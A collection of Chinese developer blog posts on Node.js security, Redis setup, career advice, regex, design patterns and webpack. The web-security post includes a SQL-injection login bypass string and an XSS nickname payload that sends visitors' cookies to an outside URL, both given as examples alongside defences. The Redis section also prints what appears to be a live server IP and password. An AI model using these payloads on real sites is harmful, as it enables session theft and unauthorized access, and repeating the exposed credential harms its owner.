]]>目前市面上有很多后台纯 node 的项目,但是用 node 做后端还是有一系列的问题,比如稳定性,安全性,抛开这两块还要优化性能,如何提高用户的访问速度,在网络不佳(2G)的情况下如何能正常访问项目,都是一系列需要考虑的问题。本章内容针对安全性给出相关技巧。
eval 的作用是将用户输入的字符串转化为可执行的代码,类似欺骗的效果,这样的坏处是会受到 XSS 攻击。
严格模式下的变量声明会抛出一些隐藏的错误。
'use strict'var obj = { a: '1', a: '2'}// 抛出错误 syntax error
可以使我们早期捕获一些 bug,并及时修正。
测试很重要,不但单元要测试,还要全面测试,例如用 mocha 测试代码覆盖率。
这样如果产生错误,会让整个系统宕机,可以使用 nginx 反向代理。
child_process.exec('ls', function (err, data) { console.log(data);});
上面的 child_process.exec 调用的是 /bin/sh ,也就是执行了一个解释器。
为了避免这个问题,我们可以使用:child_process.execFile。
创建文件时,处理上传的文件要注意,这些文件可能会吃掉你的磁盘所有空间。
使用 Streams。
用 https 代替 http,请求的过程可以添加签名头。
也就是跨站脚本攻击,就是但用户发送一段数据,如果在未做任何处理的情况下直接插入 DOM,这可能会出现安全问题,例如:
//用户输入的数据中带脚本,如果不做处理,会被执行。Im human <script>alert('I‘m hacker')<script>
处理方式:1. 对插入的数据进行验证,除去 HTML。
默认情况下,cookie 可以通过 js 在同一个域中读取,这就有可能会被跨站点脚本攻击,而且可能被第三方库读取。为了处理这种情况,我们可以在 cookies 上使用 HTTPOnly,这个标签可以让 js 无法读取。
附加的安全层,可以检测和缓解某类攻击,例如:XSS、数据注入。启用方法如下:
Content-Security-Policy: default-src 'self' *.mydomain.com
跨站请求伪造是一种迫使终端用户在他目前已验证授权的Web应用程序中执行其它的actions。node 社区已实现,可以使用同步令牌模式处理。
]]>redis-cli -h 101.132.156.228 -a r-uf60a44b13666134:’123456Jzx’
wget http://www.boutell.com/rinetd/http/rinetd.tar.gz&&tar -xvf rinetd.tar.gz&&cd rinetdsed -i 's/65536/65535/g' rinetd.c (修改端口范围)mkdir /usr/man&&make&&make install
注意:rinetd 安装包下载地址不确保下载可用性,您可以自行搜索安装包进行下载使用。
vi /etc/rinetd.conf
0.0.0.0 6379 Redis 的链接地址 6379logfile /var/log/rinetd.log
说明:您可以使用 cat /etc/rinetd.conf命令来检验配置文件是否修改正确。
rinetd
注意
○ 您可以通过 echo rinetd >>/etc/rc.local 将 rinetd 设置为自启动。
○ 若遇到绑定报错,可以执行 pkill rinetd 结束进程,再执行 rinetd启动进程 rinetd。
○ rinetd 正常启动后, 执行netstat -anp | grep 6379 确认服务是否正常运行。
您可以在本地通过 redis-cli 连接 ECS Linux 服务器后进行登录验证,比如安装了 rinetd 的服务器的 IP 是 1.1.1.1,即redis-cli -h 1.1.1.1 -a Redis的实例ID:Redis密码。或者通过 telent 连接 ECS Linux 服务器后进行操作验证。假设 ECS Linux 服务器的 IP 是 1.1.1.1,即 telnet 1.1.1.1 6379。连接上 ECS Linux 服务器后,输入连接 Redis 的密码:auth Redis的连接密码。进行数据写入及查询验证。
const redis = require('redis'), RDS_PORT = 6379, RDS_PWD = '密码', RDS_HOST = '服务器ip', RDS_OPTS = {}, client = redis.createClient(RDS_PORT, RDS_HOST, RDS_OPTS)client.auth(RDS_PWD, function () { console.log('通过认证') client.set('author', 'jzx', redis.print) client.get('author', redis.print)})
/etc/init.d/redis-server stop/etc/init.d/redis-server start/etc/init.d/redis-server restart
持续认为自己还没准备好,遇到新的挑战(机会),本能的觉得自己没学过,回避,很多时候,是你有了责任,有了目标,才会让自己更强大,而不是自己强大了再做某事。
永远让事情推自己走,而不是让自己跟着事情走。
习惯老师留作业。但是工作了,很多时候要自己发挥,等着布置作业那是泯然众人的做法。在职场上有突破的,往往都更主动,他们不会羞涩于请教,不会因为担心麻烦人而影响工作,他们只是在聚焦如何让工作做得更好,所以积极主动。
不要小看主动的力量。
很多人习惯了学生时代的感觉,习惯了有确定性的事物,却不知道,工作中有很多不确定性。你总说在面对各种未知的问题,有问题就要解决问题。有些人面对这样的逆境,不够坚韧,总选择逃避,很难承担重任,职场发展就会受限。
不要把无知当个性,不要把口无遮拦当直爽。其他人没有那么多时间了解你丰富的内心,大家更想配合好把事情做完。有个性和脾气不是不可以,但那是建立在自身的本事和成绩上的。
恃才傲物还可以接受,没能力还以自我为中心只会被人嫌弃。
自信心不强经常遇到,但还有另一种极端的情况,就是过于放大自己的价值。在一个新组织里,既有自己的努力,又有组织提供的机会。我们常常说要从小事做起,其实就是在积攒人品,让别人逐步信任你。其实我们往往没有想象中那么重要,只是大家积累起来的信任链条。
不吭不卑才是合适的作风。
很多人习惯了按部就班,习惯了在一条轨道上,有什么想法也只是说说而已,并没有勇气去落地执行,只是在等待,这样的人则完全没有任何魄力。
只是等待,没有任何结果。
我是学…的,我是做…的,所以我不能…。往往希望自己能从他人那里得到一些肯定。其实如果信心坚定,大部分工作都是有可能性的。总能找到很多成功的和失败的例子。最后发现其实还是在于自己。
没有那么多鸿沟拦着你,是你自己拦着自己。
读书的时候,好学生和一般的学生,多少会有点距离。在社会里,工作上要去拉近这个距离。时常看看优秀的人在做什么,看到好的点,学习到自己这里,这是好事。
见贤思齐焉。
刚入职场,很多学生会比 offer、 收入…等等。不是说不应该在意,而是优先级高的应该是自己的成长值能增加多少,能不能通过自己的努力,把自己作为一个产品给做出来。衡量自己未来的 10 年收入,不仅仅是经济,还有能力、资历的,不争一城一地的得失,将重点放到经营自己这个产品上来。
投资自己,让自己不断增值,才是正事。
人都希望被表扬。有的时候就要忍受阶段性的在角落,可能很辛苦,作出了成绩没人认同很委屈,稍微作出了点事就想收到认同。其实,这往往需要时间、需要积累和沉淀。很多事你是在为自己做,做多了,大概率会有好结果,即使不是立刻就有。
自己的行为过于依赖周围人的反应,反而会打乱自己的节奏。
在学校里,你成绩可能比人家好,在社会上,可能人家混的比你好。社会和学校有他们自己的规则,不要在比较重蹉跎。
按照自己的节奏,一步一步让自己变得更好。
这个世界存在坏人,因为利益、嫉妒、扭曲的心理…学校可能环境相对简单,但是工作中,情况就要复杂很多。比如你是医生,就要做好医闹的准备。在公司工作,该有的流程,留下邮件的,都得有。
在请他人帮忙处理前,自己先尽力找到处理问题的办法。实在不行再开口,又或者是时间周期短,加急的情况。
常常有人说我穷、没钱。大多数人是家境可以,但是该消费的地方不消费,例如:学习和自我提升。不该消费的地方大手笔,例如:电脑要最新,手机要最新。更多体现的是一种攀比心理。如何领先他人抓住机遇,也体现在如何正确和理性的投资。
说话的方式和语气要基于自己的资历。出现与自己资历不对称的气场。容易起反作用。但这并不是说要唯唯诺诺,保持谦虚,是一种态度。
所谓人脉,其实不是认识的人越多越好,而是要和事情,和自己能力匹配,大家基于共同的事情,兴趣认识,主要是一起讨论和学习,当然还有认识彼此。
要让这个状态成为自然的结果,而不是刻意为之。
通过书面的、语言的沟通,把自己的观点表达的有条理并且富有逻辑,讲明白了事情,但是又不会引起反感,如果身边有这样的人,可以向他们学习学习。
在一个行业里,应该去和整个行业最优秀的人做比较,经常跳出来,看看最好的人在做什么,不要把自己局限住,把自己的目标设高点,就算达不到,也要往上爬。
跳出他人的观点,敢于对各种观点质疑。取其精华,抛弃糟蹋。
有时候总是说,凡是努力就会成功,如果没有成功,就是努力的还不够。但是随着成长,就会发现,有些事情就是自己不擅长做的。就像高中成绩,总有好的和不好的课程。有时候我们还是把自己能力边界之内的事情做好结果会更好。
]]>聚焦自己能力之内的,不要意想天开,认为自己无所不能。
正则表达式(Regular Expression)是一种文本模式,包括普通字符(例如,a 到 z 之间的字母)和特殊字符(称为”元字符”)。
正则表达式使用单个字符串来描述、匹配一系列匹配某个句法规则的字符串。
正则表达式是烦琐的,但它是强大的,学会之后的应用会让你除了提高效率外,会给你带来绝对的成就感。
执行对大小写不敏感的匹配。
执行全局匹配(所有,而不是找到一个后停止匹配)。
执行多行匹配。
查找方括号之间的任何字符。
查找任何不在方括号内的字符。
查找任何从 0 至 9 的数字。
查找任何从小写 a 到 z 的字符。
查找任何从大写 A 到 Z 的字符。
查找任何从大写 A 到小写 z 的字符。
查找括号中给定的字符集。
查找除括号内之外的所有字符。
查找任何指定的选项。
查找单个字符,除了换行符和结束符。
查找单词字符。
查找非单词字符。
查找数字。
查找非数字。
查找空白字符。
查找非空白字符。
匹配单词边界。
匹配非单词边界。
查找null字符。
查找换行符。
查找换页符。
查找回车符。
查找制表符。
查找垂直制表符。
查找以八进制 xxx 规定的字符。
查找以十六进制 dd 规定的字符。
查找以十六进制 xxxx 规定的 Uicode 字符。
匹配任何包含至少一个 n 的字符串。
eg: /a+/ 匹配 “candy” 中的 “a”, “caaaaaandy” 中的 “a”。
匹配任何包含零个或多个 n 的字符串。
eg: /bo*/ 匹配 “a ghost booooed ” 中的 “boooo”,“hell by” 中的 ”b”。
匹配任何包含零个或一个 n 的字符串。
eg: /e?le?/ 匹配 “angel” 中的 “el”,“angle” 中的 “le”。
匹配包含 X个 n 的序列的字符串。
eg: /a(2)/ 不匹配 “candy” 中的 “a”,但是匹配 “caandy”,“caaandy”。
X 是一个正整数,前面的模式 n 连续出现至少 X 次匹配。
/a{2,}/ 不匹配 “candy”,匹配 “caandy” 和 “caaaandy” 中的所有 “a“。
n 出现至少 X 次,至多 Y 次。
/a{1,3} 匹配 ”candy“ 的 ”a“,”caandy“ 中的 ”aa“,“caaaandy” 前三个 “a”。
匹配任何以 n 结尾的字符串。
匹配任何以 n 开头的字符串。
匹配任何其后紧接指定 n 的字符串。
匹配任何其后没有指定 n 的字符串。
编译正则表达式。
检索字符串中指定的值。返回找到的值,并确定其位置。
检索字符串中指定的值,返回 true or false。
检索与正则表达式相匹配的值。
eg: str.search(“blue”) 返回的是 blue 出现的字符下标(大小写敏感)。
找到一个或者多个正则表达式的匹配。
eg: str.match(/ain/g) 返回所有出现的 ain (大小写敏感)。
替换与正则表达式匹配的字串。
eg: str.replace(/blue/g,”red”) 替换所有 blue 为 red。
把字符串分割为字符串数组。
]]>string.split(separator,limit) 在 separator 指定位置分割, 返回内容不超过 limit 长度。
人人都在说工作-生活平衡,但好像都不敢真正拥有它,移动互联网,正在让工作和生活的边界变得越来越模糊…
给自己的时间做规划,不意味着你可以更放松,反而需要更严格的时间规划,尝试对时间概念有一个精准的定位。
越忙越乱,越乱越忙
给自己每周、每月、每年定下固定活动时间分配,让它自然而然的形成惯例。
越来越多的人认为,只有不断工作才能证明自己有能力、有责任心
休闲时间不在长短,而在于质量。高质量的休闲让你体验到的是放松,而不是无聊和空虚。
休闲的必要性:放松可以让人们正在接下来的工作中效率更高。并且放松可以用更宽广的思路与抽象的方式去思考,容易产生有创造力的洞察力。
]]>长时间的工作会降低人们的创造力,提高心脏病、抑郁症的发生率。
设计模式(DP)是一套被反复使用,多数人知晓的、经过分类编目的、代码设计经验的总结。
设计模式目前有23种,目前只列举出了在实战中比较常用的几种。
单体是一个用来划分命名空间并将一批相关的属性和方法组织在一起的对象,如果它可以被实例化,那么它只能被实例化一次。
var Singleton = { attribute: true, method1: function () {}, method2: function () {}}
单体模式我们平时应用的比较多,相当于我们把代码封装在一起,只暴露一个入口,防止对全局的污染。
单例模式定义了一个对象的创建过程,此对象只有一个单独的实例,并提供一个访问它的全局访问点。也可以说单例就是保证一个类只有一个实例,实现的方法一般是先判断实例存在与否,如果存在直接返回,如果不存在就创建了再返回,这就确保了一个类只有一个实例对象。
var single = (function () { var unique function getInstance () { // 如果该实例存在,则直接返回,否则就对其实例化 if (unique === undefined) { unique = new Construct() } return unique } function Construct () { //生成单例的构造函数的代码 } return { getInstance }})()
上面的代码中,unique 便是返回对象的引用,而 getinstance 便是静态方法获得实例。 Construct 便是创建实例的构造函数。
可以通过 single.getInstance() 来获取到单例,并且每次调用均获取到同一个单例。这是 单例模式 所实现的效果。
单例模式是一种常用的模式,有一些对象我们往往只需要一个,比如全局缓存、浏览器的 window 对象。
提供创建对象的接口,根据参数产生相应的对象,就是把成员对象的创建工作交给一个外部对象,好处在于消除对象之间的耦合。
简单工厂模式
var XHRFactory = function () {}XHRFactory.createXMLHttp = function () { var XMLHttp = null if (window.XMLHttpRequest) { XMLHttp = new XMLHttpRequest() } else if (window.ActiveObject) { XMLHttp = new ActiveXObject('Microsoft.XMLHTTP') } return XMLHttp}var Ajax = function () { var XMLHttp = XHRFactory.createXMLHttp()}
复杂工厂模式:先设计一个抽象类,这个类不能被实例化,只能用来派生子类,最后通过对子类的拓展实现工厂方法。
var XHRF = function () {}XHRF.prototype = { createFactory: function () { throw new Error('this is an abstract class') }}var XHRH = function () {}// 子类继承父类extend(XHRH, XHRF)// 把父类原型传递给子类,实现继承XHRH.prototype = new XHRF()// 重置子类原型的构造器为子类自身XHRH.prototype.constructor = XHRH// 重新定义createFactory 方法XHRH.prototype.createFactory = function () { var XMLHttp = null if (window.XMLHrrpRequest) { XMLHttp = new XMLHttpRequest() } else if (window.ActiveXObject) { XMLHttp = new ActiveXObject('Microsoft.XMLHTTP') } return XMLHttp}
当工厂增加到一定程度的时候,提高了代码的复杂度,可读性下降。而且没有解决对象的识别问题,既怎么知道一个对象的类型。
]]>解压tar zxvf redis-4.0.8.tar.gz移动文件夹mv redis-4.0.8 /usr/local/打开该文件夹cd /usr/local/redis-4.0.8/编译测试sudo make test编译安装sudo make install
redis-server
新建目录sudo mkdir redis-4.0.8/binsudo mkdir redis-4.0.8/etcsudo mkdir redis-4.0.8/db拷贝文件cp src/mkreleasehdr.sh bincp src/redis-benchmark bincp src/redis-check-rdb bincp src/redis-cli bincp src/redis-server bin
#修改为守护模式daemonize yes#设置进程锁文件pidfile /usr/local/redis-3.2.8/redis.pid#端口port 6379#客户端超时时间timeout 300#日志级别loglevel debug#日志文件位置logfile /usr/local/redis-3.2.8/log-redis.log#设置数据库的数量,默认数据库为0,可以使用SELECT <dbid>命令在连接上指定数据库iddatabases 16##指定在多长时间内,有多少次更新操作,就将数据同步到数据文件,可以多个条件配合#save <seconds> <changes>#Redis默认配置文件中提供了三个条件:save 900 1save 300 10save 60 10000#指定存储至本地数据库时是否压缩数据,默认为yes,Redis采用LZF压缩,如果为了节省CPU时间,#可以关闭该#选项,但会导致数据库文件变的巨大rdbcompression yes#指定本地数据库文件名dbfilename dump.rdb#指定本地数据库路径dir /usr/local/redis-3.2.8/db/#指定是否在每次更新操作后进行日志记录,Redis在默认情况下是异步的把数据写入磁盘,如果不开启,可能#会在断电时导致一段时间内的数据丢失。因为 redis本身同步数据文件是按上面save条件来同步的,所以有#的数据会在一段时间内只存在于内存中appendonly no#指定更新日志条件,共有3个可选值:#no:表示等操作系统进行数据缓存同步到磁盘(快)#always:表示每次更新操作后手动调用fsync()将数据写到磁盘(慢,安全)#everysec:表示每秒同步一次(折衷,默认值)appendfsync everysec
启动./bin/redis-server etc/redis.conf查看日志tail -f log-redis.logOK./bin/redis-cli
查看所有数据keys *插入键值对set a b查看数据get a
]]>此时,我看了一个小动画,一只老鼠,从追赶火车,到追寻幸福的过程,途中经历了很多东西:生意、豪车、酗酒、嗑药、陷入迷幻,为了金钱而工作最终成为大多数人中的一员。平庸一生
幸福对我来说,就是能做自己喜欢的事,追求自己的梦想,而我的理想,就是能够为这个社会留下点什么,带上我的音乐梦,为他人带去欢乐,一个人的一生不应该平庸,我们来到这个世界,一定是为了让我们能够实现自己的价值,每个人都不一样,每个人都存在过,人活着的意义是什么,不就是为了追寻自己的理想吗?
我们现在大多数人,处于不知道自己想要什么,而且不知道对自己来说什么才是真正的幸福。想不平庸,却不愿意全力以赴。最后就像片中的老鼠一样。最后还是回到了起点。
不甘平庸才是我们每个人应该的追求;
有梦想有目标的生活,才是最幸福的,未来虽然不可预测,但是我们能为我们即将到来的未来做做好准备,不要太享受生活,即使目前的生活很安逸,也要追求更安逸的生活,人都是向上看的,只有你敢想敢做,没有什么事情是做不了的,如果做不到,就是你没有尽全力!
]]>发生这种情况的原因很多,但常见的一种是在渲染 UI 组件时对于状态的初始化操作不当。
这是在 Safari 中读取属性或调用未定义对象上的方法时发生的错误。这与 1 中提到的 Chrome 的错误基本相同,但 Safari 使用了不同的错误消息提示语。
这是在 Safari 中读取属性或调用空对象上的方法时发生的错误。
在 JavaScript 中,null 和 undefined 是不一样的,这就是为什么我们看到两个不同的错误信息。undefined 通常是一个尚未分配的变量,而 null 表示该值为空。 要验证它们不相等,请尝试使用严格的相等运算符 ===
当未捕获的 JavaScript 错误(通过window.onerror处理程序引发的错误,而不是捕获在try-catch中)被浏览器的跨域策略限制时,会产生这类的脚本错误。这是一种浏览器安全措施,旨在防止跨域传递数据,否则将不允许进行通信。
这是您在调用未定义的方法时发生在 IE 中的错误。 您可以在 IE 开发者控制台中进行测试。
当您调用未定义的函数时,这是 Chrome 中产生的错误。
这是 Chrome 在一些情况下会发生的错误。 一个是当你调用一个不终止的递归函数。
这是 Chrome 中发生的错误,因为读取未定义变量的长度属性。
当我们尝试访问一个未定义的变量时,它总是返回 undefined,我们不能获取或设置任何未定义的属性。 在这种情况下,应用程序将抛出 “Uncaught TypeError: Cannot set property”。
当您尝试访问未定义的变量或超出当前范围的变量时,会引发此错误。
]]>function *test() {}test() // -> [Object Generator]
generator 函数可以只运行函数的一部分,以及控制何时运行剩余的部分。
`
function *learn() {
yield 1
yield 2
return 3
}
let learnGen = learn()
learnGen.next() // -> {“done”: false, “value”: 1}
> 再次调用会运行到下一个 yield 处
learnGen.next() // -> {“done”: false, “value”: 2}
learnGen.next() // -> {“done”: true, “value”: 3}`
可以通过 yield
和 *
的结合实现类似 await
async
的效果的效果
虽然在普通人看来,狼是一个贬义的存在,’狼子野心’,’狼狈为奸’。
但在大自然中,狼群相对于其他生物来说,更富有智慧,更有团结力。狼对机会的把握概率为80%,而人类只有35%左右,几十头狼就可以干翻白羊大军,如果在战场上,这是非常可怕的,所以我们可以从狼的身上学到很多可贵的精神和品质。
狼有非常大的野心,即使数量只有四十只左右,仍然有围剿百羊的勇气,即使猎物比自己体型大数倍,也敢于猎杀!
‘大丈夫在世,理应如此’,这就是当年项羽看到秦始皇所说的话,反正我感觉听到就有一种豪气冲天的气魄!
寄语:没有完成不了的目标,就看你有没有野心去做!
‘当一个人知道自己的目标去处时,全世界都回为他让路’,出自爱默生。
没有目标的人在社会的最底层,目标模糊的人成为蓝领,目标明确的人成为白领,目标远大并记录下来的人,最后会成为社会的顶尖人士!(就像我现在做的)
寄语:没有猎物,我们就去寻找,发现猎物我们就去追逐。寻找,发现,追逐,获得 - 这就是大自然强者生存的要素
野心 !== 妄想,人要有野心,但是也要根据实际出发,当实力悬殊的时候,当竞争法则不再公平的时候,退却是保存实力的最好方法,另一种生命的智慧。
妄想症的核心判断是总是包含着 ”我“,例如:”我伟大”,”人们在迫害我”,”我有罪”…….野心虽然也强调个体,但更多持有一种开放的态度,”我可以做的更好“,“我要达到某某那种程度”(当时我说,想成为类似奇舞团,alloyteam,类似大厂的技术团队,这是野心不是妄想)
寄语:我们不缺乏成功的信念,但是我们绝对不会成为痴心妄想的傻瓜。狼群在面对枪口的时候,适当转移也是明智的选择。
大丈夫能屈能伸,正如司马懿在诸葛亮的嘲讽下任然能够放下面子穿上女人的衣服,精明的野心家不会因为愤怒或是心情影响自己的理智,陶渊明的不为五斗米折腰品质固然可贵,但是换个角度思考,这样做的后果是百姓失去了一个好官,自己的前途受损!这样的结果真的是他想要的?如果当时他性格能够弹性一点,成就绝对不止这一点。至少留给后辈的作品会更丰富吧。
]]>浏览器自带转换为字符串var newValue = safetools.encode(value)正则加密(可能有兼容)var newValue = safetools.reEncode(value)正则解密(可能有兼容)var newValue = safetools.reDecode(value)
tag: 前端交互,涉及到数据流动并需要在返回在页面上显示的,一定要经过后端!
用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入.
语句
strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
如果恶意填入:
userName = “1’ OR ‘1’=’1”; passWord = “1’ OR ‘1’=’1”;
既可实现无密码登录,美滋滋吧…
前端和 XSS 处理类似,对传递的数据进行筛选,重点是后端对数据的处理!
跨站脚本(Cross-site scripting,通常简称为:XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java,VBScript,ActiveX,Flash或者甚至是普通的HTML。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
编码
将 > ( 标签转换为字符串,可以处理大多数 xss 攻击
过滤
有的语句并不完全依赖<>标签,例如src=”javascript:alert(1);”
校正
这个照理来说应该后端处理,目前没碰到这种场景
一个直播平台,用户可以进入观看,主播可以设置自己的昵称:var starNickName = '${starNickname}'
这怕是要翻水水了…假设是我是主播,我把昵称设置为:
';window.location.href="http//:blog.jzxer.cn/?cook=" + document.cookie + '&url=' window.location.href;''
这一串如果传到后端,而后端又没有校正的话的话,这怕是傻眼了…观众进来一个死一个,我应该也会进去蹲几天吧,吧。。。
`
`
meta:不信任任何URL,即不加载任何资源样式表只信任 cdn.example.org 和 third-party.org 框架 (frame) 必须使用HTTPS协议加载 其他资源:没有限制 启用后,不符合 CSP 的外部资源就会被阻止加载。
注意:该属性目前比较新,hotfix 和 chorme 支持较好,并不适用于所有的浏览器。
跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨网站脚本(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。简单地说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去执行。这利用了web中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。
验证码
在请求的同时,带个token,或者验证码
Referer Check
这个可以伪造…但加入更保险
注意:如果网站有XSS漏洞或者一些跨域漏洞,可能导致Token泄露。 在XSS攻击下,读取Token值,然后再构造出一个合法的请求,可以称为:XSRF。
web 安全是个需要长期坚持的事情,没有绝对安全的产品,我们需要做到的就是能够提前预防和及时修复。
]]>一直想尝试下全栈开发,想尝试一下,选题的初衷是自己对资源共享和二手市场的前景非常看好
共享资源的概念是有利于社会进步,并且是思维的一种跨越;未来一定是一个更美好的社会,我们需要做的就是让那一天尽早的到来
##
]]>minifest.json 内容{ "short_name": "pwa", "name": "pwa - demo", // 应用名称 "icons": [ // 应用显示图标,根据容器大小适配 { "src": "assets/imgs/48.png", "type": "image/png", "sizes": "48x48" }, { "src": "assets/imgs/96.png", "type": "image/png", "sizes": "96x96" }, { "src": "assets/imgs/192.png", "type": "image/png", "sizes": "192x192" } ], "background_color": "#2196F3", // 刚打开页面时的背景 "theme_color": "#2196F3", // 主题颜色 "display": "standalone", //独立显示 "start_url": "index.html?launcher=true" // 启动的页面}
待续…
]]>首先输入fdisk -l命令后,发现/dev/vdb,说明实例含有数据盘,需要挂载运行fdisk /dev/vdb,对数据盘进行分区,依次输入n,p,1,然后按两次回车,最后输入wq,进行分区分区完成之后运行fdisk -l命令,查看新的分区。可以看到新的分区vdb1已经创建好了。运行mkfs.ext3 /dev/vdb,对新分区进行格式化。格式化完成之后运行echo /dev/xvdb1 /mnt ext3 defaults 0 0 >> /etc/fstab (这是一条命令)写入分区信息。完成之后运行 cat /etc/fstab 可以进行查看运行mount /dev/vdb1 /mnt 挂载新分区,然后执行df -h 查看分区,如果出现数据盘信息,说明挂载成功,就可以开始使用新分区作者:wuyumumu链接:https://www.jianshu.com/p/8fb738cd8672來源:简书著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
sudo apt-get updatesudo apt-get install nodejssudo apt-get install npm
特别注意:Ubuntu中可执行的名字是 nodejs 而不是node
一款管理nodejs版本的工具
升级node.js到最新稳定版n stable升级node.js到最新版n latest
安装gcc g++的依赖库apt-get install build-essentialapt-get install libtool安装 pcre依赖库sudo apt-get updatesudo apt-get install libpcre3 libpcre3-dev安装 zlib依赖库apt-get install zlib1g-dev安装 ssl依赖库apt-get install openssl安装Nginx(http://nginx.org)#下载最新版本:wget http://nginx.org/download/nginx-1.13.4.tar.gz(根据官网查看最新版本下载对应版本)#解压:tar -zxvf nginx-1.13.4.tar.gz#进入解压目录:cd nginx-1.13.4#配置:./configure --prefix=/usr/local/nginx #编辑nginx:make#安装nginx:sudo make install#启动nginx:先切到根目录cd /sudo /usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.conf#查看nginx进程:ps -ef|grep nginx #查看nginx版本(根目录下执行)usr/local/nginx/sbin/nginx -v
测试nginx安装成功
wget http://127.0.0.1 (会下载一个默认的html文件,直接ls查看当前目录可看到)
markdown 预览插件
让代码更符合规范
括号上色插件,神器推荐
颜色上色插件
取色插件
rem转换工具
debugger插件,正在学怎么用
代码规范插件
图标插件
查看历史修改记录插件
可爱的代码颜色风格
应该改支持代码提示插件吧
markdown 语法提示插件
路径补全插件
暂时没用上
也没用上
插件备份工具,神器
一款美化插件配置如下:
"background.useDefault": false, "background.enabled": true, "background.customImages": [ "file:///Users/mac/Desktop/improve/1.jpg" ], "background.style": { "opacity": 0.1, "width": "1600px", "height": "1150px" }
]]>ps: 超级超级吃 CPU 慎用!!
cnpm i express-generator -g
.├── app.js├── bin│ └── www├── package.json├── public│ ├── images│ ├── javascripts│ └── stylesheets│ └── style.css├── routes│ ├── index.js│ └── users.js└── views ├── error.jade ├── index.jade └── layout.jade7 directories, 9 files
<!-- 没有挂载路径 -->app.use(function (req, res, next) { ... next()}, function (req, res, next) { console.log('Request Type:', req.method); next();})<!-- 挂载路径的中间件 -->app.use('/user/', function(req, res, next){ ... next()})路由和句柄函数,处理get(post)请求app.get('/', function() { res.send('USER')})
var app = express()
var router = express.Router()`
和上面类似,只是写法不同
router.use(‘/‘, function(req, res, next) {
…
next()
})
app.use(‘/‘, router)
#### 错误处理中间件
app.use(function (err, req, res, next) {
console.error(err.stack);
res.status(500).send(‘Something broke!’);
});
#### 内置中间件> 唯一内置中间件:express.static()* dotfiles 是否对外输出文件名以点(.)开头的文件。 可选值为 “allow”、“deny” 和 “ignore” 默认:ignore* etag 是否启用 etag 生成 默认:true* extensions 设置文件扩展名备份选项 默认:[]* index 发送目录索引文件,设置为 false 禁用目录索引。 Mixed 默认:“index.html”* lastModified 设置 Last-Modified 头为文件在操作系统上的最后修改日期。可能值为 true 或 false。 默认:true* maxAge 以毫秒或者其字符串格式设置 Cache-Control 头的 max-age 属性。 默认:0* redirect 当路径为目录时,重定向至 “/”。 默认:true* setHeaders 设置 HTTP 头以提供文件的函数。 Function
app.use(express.static(‘public’, options));
#### 第三方中间件##### cookie-parser用于解析 cookie 的中间件##### body-parser用于解析request body部分,并对上传内容大小作出限制
app.use(bodyParser.json({ limit: ‘50mb’ }));
app.use(bodyParser.urlencoded({ limit: ‘50mb’, extended: true }));
#### canvas
var base64Data = req.body.imgData;var img = new Canvas.Image;img.onload = function(){ var w = img.width; var h = img.height; var canvas = new Canvas(w, h); var ctx = canvas.getContext('2d'); ctx.drawImage(img, 0, 0); var out = fs.createWriteStream(__dirname + '/crop.jpg'); var stream = canvas.createJPEGStream({ bufsize : 2048, quality : 80 }); stream.on('data', function(chunk){ out.write(chunk); }); stream.on('end', function(){ out.end(); res.send("上传成功!"); });}img.onerror = function(err){ res.send(err);}img.src = base64Data;
#### fs模块 (node自带模块)对文件执行读取和写入
function(req, res, next) {
if (req.body.formFile) {
// 对象转换为字符串
var base64Data = req.body.formFile.replace(/^data:image\/\w+;base64,/, “”);
var dataBuffer = new Buffer(base64Data, ‘base64’);
fs.writeFile(“out.png”, dataBuffer, function (err) {
if (err) {
res.send(err);
} else {
res.send(“保存成功!”);
}
});
}
}`
框架:react
注意:路由用的是4.0版
打包工具:webpack2.0
项目唯一入口
这里发现一个问题,就是当我打包时全部 js 在同一个文件中,文件太大了,性能体验上是非常可怕的,反正我觉得如果2g网浏览是GG了的。处理的方式是: 给入口添加一个 vendor,将依赖库写入这个 vendor 中,如果觉得依赖包太大可以写成 vendor1,vendor2.
项目输出文件夹
[name].[hash:8].js
html,js,css,img 处理组件
其他优化插件,该处只介绍 webpack 自带的一些插件库
webpack.BannerPlugin
给打包文件添加一个banner
webpack.optimize.UglifyJsPlugin
压缩 js
webpack.optimize.OccurrenceOrderPlugin
添加唯一 ID
热加载插件,在 script 中的命令参数:
–devtool eval:为你的代码创建源地址。当有任何报错的时候可以让你更加精确地定位到文件和行号
–progress: 显示合并代码进度
–colors: 在命令行中显示颜色
–content-base build: 指向设置的输出目录
–hot: 注意在 config 文件中如果已经new plugin,就不要hot了,二选一。
根据预先的模板实例化一个html
new HtmlWebpackPlugin({ title: '', template: __dirname + "/src/index.html", minify: { "removeAttributeQuotes": true, // 移除注释 "removeComments": true, // 移除空格 "removeEmptyAttributes": true, // 移除空白行 }, chunks: ['index', 'vendors'], // 配置该html文件要添加的模块 // inject: 'body' })
删除 webpack 缓存插件
new CleanWebpackPlugin('build/', { // 清除缓存文件 root: __dirname, verbose: true, dry: false })
将 css 抽离出 js
test: /\.css$/,use: ExtractTextPlugin.extract({ fallback: "style-loader", // 提取 css 文件 use: [{ // 编译文件 loader: "css-loader", options: { // modules: true, // 组件化 minimize: true // 压缩 } }, { loader: "postcss-loader" // 将 css 添加前缀 } ]})
友好的错误提示插件
